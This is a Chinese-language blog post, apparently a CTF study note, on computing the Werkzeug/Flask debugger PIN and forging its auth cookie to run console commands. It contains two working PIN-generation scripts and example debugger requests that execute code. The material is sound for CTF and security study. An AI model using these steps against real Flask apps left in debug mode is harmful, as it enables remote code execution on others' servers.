关于pin的东西,之前遇到过但没深入分析,sctf的题要算PIN,我甚至还算不熟练,这次彻底搞懂。

生成pin码

先贴脚本:

python 3.8:

#!/usr/bin/env python
# python 3.8 PIN码 sha1加密
import hashlib
from itertools import chain

probably_public_bits = [
'root' # /etc/passwd
'flask.app', # 默认值
'Flask', # 默认值
'/usr/local/lib/python3.10/site-packages/flask/app.py' # 报错得到
]

private_bits = [
#十进制
'2485377892354',
#machine_id
'96cec10d3d9307792745ec3b85c89620'
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

非3.8:

#!/usr/bin/env python
# python 3.6 PIN码 md5加密
import hashlib
from itertools import chain

probably_public_bits = [
'root' # username
'flask.app', # modname
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.8/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
# str(uuid.getnode()), /sys/class/net/ens33/address 或 /sys/class/net/eth0/address
'2485376933845',
# get_machine_id(), /etc/machine-id
'e0ad2d31-1d21-4f57-b1c5-4a9036fbf2351204f386ccfe3d9f80858b45581b01600775b944e5df748745f5d38e184db378'
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

get_machine_id

这里一直搞不明白,网上的也看得迷迷糊糊,还分docker,给绕晕了,就自己看源码,测试后发现跟docker没关系。

werkzeug源码:https://github.com/pallets/werkzeug/blob/main/src/werkzeug/debug/__init__.py#L391

image-20230619103054198.png
rpartition方法:

s = 'aaaaaaaaa/bbbbbbbb/ccccccccccc'
print(s.rpartition('/')) #('aaaaaaaaa/bbbbbbbb', '/', 'ccccccccccc')

总结:get_machine_id先读取/etc/machine-id,有值则不读取/proc/sys/kernel/random/boot_id,否则读。

接着读/proc/self/cgroup,取第一行的最后一个斜杠/后面的所有字符串,和上面读到的值拼接起来。

最后得到的就是machine_id。

非docker环境:

image-20230619125945112.png
image-20230619130014725.png
直接拼起来:

image-20230619130115312.png
算的对。

docker环境:

image-20230619130155968.png
image-20230619130215546.png
cgroup是空的,照样拼上去,machine_id就是96cec10d3d9307792745ec3b85c89620。

手算cookie

有些情况下,无法获取返回的cookie,或者无法直接通过浏览器进入debug的控制台,该如何利用?

先看看发pin码然后执行命令的大概流程:

发送验证pin码的请求

GET /?__debugger__=yes&cmd=pinauth&pin=130-616-273&s=prj74Iraob1k5eMHiH37

响应:{"auth": true, "exhausted": false}

若auth成功,还会带一个cookie:

Set-Cookie: __wzdaba192b254d6aa653a27=1687143761|fd1c004c3dc3; HttpOnly; Path=/; SameSite=Strict

之后执行命令的请求,要带上面发过来的cookie,否则不执行命令:

GET /?&__debugger__=yes&cmd=print(1)&frm=140324285712640&s=prj74Iraob1k5eMHiH37

响应:

>>> print(1)
1

所以执行命令的关键就是拿frm,s,cookie。

gpt对frm即frame的解释:

image-20230619113346350.png
s的拿法,直接访问console路由,没有安全限制的:

image-20230619111220205.png

frm的拿法:

直接访问报错页面,任意一个即可:

image-20230619111402061.png

但有时题目不存在报错机会,直接0就行。怎么发现的?

image-20230619111627289.png
cookie拿法:

先看源码

image-20230619111758952.png
cookie的名字直接在生成PIN码的脚本里就有。

然后看cookie值,在pin_auth函数里,验证pin成功时返回cookie:

image-20230619111931824.png
hash_pin好拿,就是不知道time.time()有什么用,就看哪里检验cookie有效

image-20230619112431530.png
所以竖线前面的填一个值,这个值加上PIN_TIME比time.time()大就行。PIN_TIME是60*60*24*7

加上hash_pin的算法,生成cookie值:

image-20230619112946217.png

发包试试:

image-20230619113058457.png